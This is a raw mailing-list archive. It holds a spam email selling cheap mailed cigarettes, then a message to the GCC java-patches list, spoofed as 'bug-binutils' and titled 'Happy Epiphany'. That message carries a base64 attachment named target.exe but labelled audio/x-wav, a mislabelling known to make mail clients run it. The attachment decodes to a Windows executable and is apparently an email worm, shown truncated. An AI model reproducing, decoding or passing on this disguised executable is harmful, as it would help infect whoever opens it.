Date: Sun, 29 Dec 2002 19:13:41 +0100 X-Priority: 3 X-Library: Indy 8.0.25 Dear Sir or Madam If you are a smoker in the UK, or in the ROI, then we have something for you. You are probably fed up with paying high prices for your cigarettes and tobacco. Take a look at what we can do for you at http://www.advertiger.com/bs/index.php?E=7c2b4ccd17ad2ad126d4a6bf66bb483b We can send you, legally, by registered air mail, direct to your door, 4 cartons of cigarettes or 30 fifty gram pouches of rolling tobacco (all brands are available) from only 170 Euros - about 105 pounds - fully inclusive of postage and packing. Why pay more? If you would rather not hear from us any more, this link will ensure that you are not bothered again. http://www.advertiger.com/bs/off.php?E=7c2b4ccd17ad2ad126d4a6bf66bb483b Yours faithfully. British Smokers http://www.advertiger.com/bs/index.php?E=7c2b4ccd17ad2ad126d4a6bf66bb483b w2yy1021990ald From java-patches-return-5728-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 02 18:00:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17688 invoked by alias); 2 Jan 2003 18:00:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17587 invoked from network); 2 Jan 2003 18:00:33 -0000 Received: from unknown (HELO relay-4v.club-internet.fr) (194.158.96.115) by 209.249.29.67 with SMTP; 2 Jan 2003 18:00:33 -0000 Received: from Kbkjkjd (lxxx-2-198.n.club-internet.fr [213.44.1.198]) by relay-4v.club-internet.fr (Postfix) with SMTP id F03CF170E for ; Thu, 2 Jan 2003 18:59:52 +0100 (CET) From: bug-binutils To: java-patches@gcc.gnu.org Subject: Happy Epiphany MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=V6820sS60A833n7 Message-Id: <20030102175952.F03CF170E@relay-4v.club-internet.fr> Date: Thu, 2 Jan 2003 18:59:52 +0100 (CET) --V6820sS60A833n7 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --V6820sS60A833n7 Content-Type: audio/x-wav; name=target.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 